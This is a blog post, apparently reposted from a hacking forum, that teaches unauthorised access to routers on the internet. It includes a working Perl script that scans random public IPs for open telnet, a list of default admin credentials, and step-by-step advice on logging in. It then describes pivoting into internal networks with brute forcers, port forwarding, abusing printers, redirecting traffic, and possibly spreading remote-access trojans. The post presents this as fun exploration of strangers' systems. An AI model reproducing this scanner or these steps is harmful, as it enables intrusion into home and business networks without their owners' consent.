GMAIL REMOTE ROUTER HACKING | Security Learner's Blog

Wednesday, 19 March 2014

REMOTE ROUTER HACKING

  1. REMOTE ROUTER HACKING
  2. Introduction
  3. Ok, Basically this tutorial deals with how to scan large amounts of addresses for telnet services, which we can then attempt to use default credentials to log in with surprising success.
  4.  
  5. Why Telnet? Isn't That Dead Now?
  6. Your partly correct, telnet is dead now, it was superseded by SSH because telnet sends packets in plain text where as SSH encrypts packets. But telnet is still very much used on routers for simple administration by low tech management systems that come packaged with alot of off the shelf routers. Some of these routers allow remote clients to connect to telnet as well as local users - these are the boxes that we are looking for.
  7.  
  8. So what do i need ?
  9. You'll need to run this perl script, (written by me, found below), this simply generates a random IP address, if the IP is in a scannable class (ie not a private, experimental or loop back address) the programme attempts to open a connection to the telnet port (23) of the random ip, if it succeeds the program logs the success in a local file for later analysis. The program then repeats -- so if you run a few instances of the program for a few hours you can end up with a list of around 200 telnet servers - ive left mine overnight before and collected 880 servers before.
  10.  
  11.  
  12. Code:
  13. #!/usr/bin/perl
  14. use IO::Socket;
  15. ########################### IP GENERATOR ########################
  16. sub ipgen(){
  17. my $range1 = 223;                        #avoid experimental and multicast
  18. my $range2 = 254;              
  19. $oct1 = int(rand($range1)) + 1;                    #generate random octects
  20. $oct2 = int(rand($range2)) + 1;
  21. $oct3 = int(rand($range2)) + 1;
  22. $oct4 = int(rand($range2)) + 1;
  23.  
  24. if($oct1 == 127 || $oct1 == 172 || $oct1 == 192 || $oct1 == 10){#if gets rid of loopbacks and private ips
  25. $ip = &ipgen();                            #if local or private call again
  26. }else{
  27. $ip = "$oct1.$oct2.$oct3.$oct4";                # otherwise allocate the ip to return
  28. }
  29. return $ip;                            #return to caller      
  30. }
  31. #################################################################
  32. ############################## MAIN #############################
  33. print "########################################\n";
  34. print "#---------Random Telnet Scanner--------#\n";
  35. print "#-----------Written by 50LaR15---------#\n";
  36. print "########################################\n";
  37. while(1==1){                            # keeps code running indefinatly
  38. $target = &ipgen();                        # get random ip to scan
  39. print "*??* SCANNING: $target \n";                    # output
  40. my $sock = new IO::Socket::INET (                # try to create socket to chose random address
  41.                  PeerAddr => $target,
  42.                  PeerPort => '23',        # change this number to change ports you want to detect
  43.                  Proto => 'tcp',
  44.                  Timeout => '3',         # you can get away with a timeout of 1 second but i have 2 to be safe
  45.                  );
  46. if($sock){                            # if socket opened (port open)
  47. print "*!!* SUCCESS-: $target \n";                # print to screen
  48. open(DAT, ">>telnet.txt") || die("Cannot Open Output File");     # open results file
  49. print DAT "SUCCESS: $target \n";                # append findings to end of file
  50. close(DAT);                            # close the file
  51. }
  52. close($sock);                            # close the socket
  53. }################################################################
  54.  
  55. Youll also need need a telnet client - I recommend you use putty because it supports proxys, but you are dealing with people who dont know how to change there router passwords so you shouldnt be too worried so you can use the defauly OS telnet client - for windows XP/linux users you will already have one - for windows 7 users you will need to enable yours with this tutorial .
  56.  
  57. Ok - I'm Set Up - So Now What?
  58. Youll need to start a few instances of the perl script, you can make your desktop look pretty like mine below if you wish.
  59.  
  60. [Image: 4185786.png]
  61.  
  62. You can just run one but it will take longer to get a decent sized list of servers. I run 5 for around half an hour and that gives me a list of around 50 telnet boxes.
  63.  
  64. Ok now you have your list of IP's with the telnet port open (called telnet.txt in the same directory as your perl script), what you need to do is take your telnet client and just start connecting to them, - you will be prompted for a username + password.
  65.  
  66. This is where it gets fun - because alarge amount of routers ship with default accounts - here are the most common.
  67.  
  68. Username:Password
  69. _________________
  70. admin : admin
  71. admin : (blank password)
  72. root : (blank)
  73. root : root
  74.  
  75. To be honest alot of routers disclose there model number in the telnet banner when you connect so a simple google search often turns up the default username and password. Otherwise i try the top 3 and usually get disconnected and move on to the next in my list.
  76.  
  77. You will find out quiet fast how many ip's in your list you can actually log into with full admin rights
  78.  
  79. [Image: 4185900.png]
  80. Who Exactly Am I Hacking?
  81. This is half the fun for me - you dont really know - if your interested you can just do a quick whois -but around 90% of the time your dealing with home routers that people have bought from a shop and not configured properly but i have found business and offices that have succumb to the same laziness as the home user so the possibilities are endless.
  82.  
  83. Ok now what ?
  84. From here its up to you what you do, but i enjoy using simple network tools like ipconfig and ping to map out the network, sometimes i have found routers that have nmap and telnet clients on etc. Today i found one that let me download any C code onto it i wanted - almost every router OS is different so some take a while to get used to what commands you can run but it is alot of fun finding out peoples network layout, i have compromised routers, made my way into the internal file servers of the network using brute forcers, or setting up port forwarding on the router to give me access externally to otherwise private internal resources - you can even port forward packets to printers and use them across the internet to print out hundreds of copys of the dictionary or what ever literature tickles your pickle.
  85.  
  86. A funny concept that i have got to work in the past is fucking with the routing tables and redirecting every web request to gay porn sites. So I would imagine that this could be useful for people trying to get RAT's spread, especially if you find a router with upwards of 100 PC's behind the router - but i dont deal much with rat's and botnets so dont quote me on that.
  87.  
  88. A Small Aside.
  89.  
  90. Ill be happy if a few people read this tutorial and explore a few networks because thats what used to drive hacking forwards, and its what used to motivate hackers, the thrill of exploring the unknown, the chance of coming across a really large network to explore and further your knowledge and skills of systems. I think people focus too much on making money from hacking, or getting there best friends fu**book password and the real fun somehow has been lost in the past 10 years to a new generation of kids that just want everything now. Lets keep some of the old skills and knowledge alive and not let it be lost in the archives of long since abandoned forums and irc rooms.
  91.  
  92. Thanks For Reading - Happy Hacking.
  93. Special Thanks To SOLARIS

FIDA HUSSAIN

I am Fida Hussain,a computer student from Pakistan. Right from the day one I was introduced to computers,I had a passion for Hacking and Information security. So,I started this blog in 2012 to share my views and ideas with the world.

1 comments:

 

Security Learner's Blog

Designed by Fida Hussain
This content is DMCA Protected.Copying or reproducing of procedure is prohibited.Do Not Copy!!